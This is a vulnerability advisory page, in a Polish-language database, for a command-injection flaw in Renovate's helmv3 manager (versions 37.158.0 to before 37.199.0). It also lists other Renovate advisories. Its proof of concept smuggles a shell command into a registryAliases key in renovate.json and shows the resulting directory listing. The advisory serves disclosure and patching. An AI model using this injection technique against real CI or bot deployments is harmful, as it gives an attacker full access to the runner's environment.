Średnia

Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases

Ujawniono: 23.04.2024
Aktualizacja: 11.10.2026 10:22

Summary

Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.

Details

Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add <key> <parameters> command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80 The key was not quoted, leading to the ability to use variable references ($FOO) in it and have them printed by Renovate on the pull request, or even running any shell commands.

PoC

Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:

test-chart/Chart.yaml:

apiVersion: v2
name: redis
version: 1.0.0
dependencies:
  - name: redis
    version: 18.13.10
    repository: oci://registry-1.docker.io/bitnamicharts

test-chart/Chart.lock:

dependencies:
- name: redis
  repository: oci://registry-1.docker.io/bitnamicharts
  version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"

Then add the following renovate.json:

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:base"
  ],
  "registryAliases": {
    "foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
  }
}

Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:

File name: test-chart/Chart.lock

Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments

Usage:  helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

This shows that the ls command executed successfully, and we can even see its output.

Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.

Impact

All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

Platforma	Paczka	Podatne wersje	Poprawka w wersji
Paczka npm	renovate	>= 37.158.0, < 37.199.0	37.199.0

Odnośniki

Ocena CVSS 5.4/10

Wektor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Słabość (CWE): CWE-78
Platforma: npm
Paczka: renovate
Ujawniono: 23.04.2024
Aktualizacja: 11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-rqgv-292v-5qgr - CC BY 4.0

Historia podatności: renovate

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (11) w archiwum

Wszystkich wpisów: 11
Pierwsza → ostatnia: 10.2019 04.2026
Bez poprawki: 0
Wykorzystywana w atakach: 0

Rozkład istotności

Średnia 11

Ujawnienia w latach

2019: 1
2020: 1
2021: 0
2022: 0
2023: 0
2024: 1
2025: 0
2026: 8

16.04.2026

Renovate affected by remote code execution was possible using the bazel-module or bazelisk managers, when using lockFileMaintenance

Średnia · 6.3 CVE-2026-76226 >= 43.65.0, < 43.102.11 43.102.11
13.02.2026

Child processes spawned by Renovate incorrectly have full access to environment variables

Średnia · 5.5 CVE-2026-76227 >= 42.68.1, < 42.96.3, >= 43.0.0, < 43.4.4 42.96.3, 43.4.4
13.01.2026

Renovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file

Średnia · 6.7 CVE-2026-76232 >= 31.51.0, < 40.33.0 40.33.0
13.01.2026

Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file

Średnia · 6.7 CVE-2026-76233 >= 39.53.0, < 40.33.0 40.33.0
13.01.2026

Renovate vulnerable to arbitrary command injection via hermit manager and maliciously named dependencies

Średnia · 6.7 CVE-2026-76231 >= 32.135.0, < 40.33.0 40.33.0
13.01.2026

Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration

Średnia · 6.7 CVE-2026-76230 >= 35.63.0, < 40.33.0 40.33.0
13.01.2026

Renovate vulnerable to arbitrary command injection via kustomize manager and malicious helm repository

Średnia · 6.7 CVE-2026-76229 >= 39.218.0, < 40.33.0 40.33.0
13.01.2026

Renovate vulnerable to arbitrary command injection via Gradle Wrapper and malicious `distributionUrl`

Średnia · 6.7 CVE-2026-76228 >= 32.124.0, < 42.68.5 42.68.5
23.04.2024

Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases ten wpis

Średnia · 5.4 CVE-2024-58376 >= 37.158.0, < 37.199.0 37.199.0
14.09.2020

Renovate vulnerable to Azure DevOps token leakage in logs

Średnia CVE-2020-37267 >= 19.180.0, < 23.25.1 23.25.1
21.10.2019

Renovate vulnerable to leakage of temporary repository tokens into Pull Request comments

Średnia · 5.3 CVE-2019-25766 >= 13.87.0, < 19.38.7 19.38.7

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację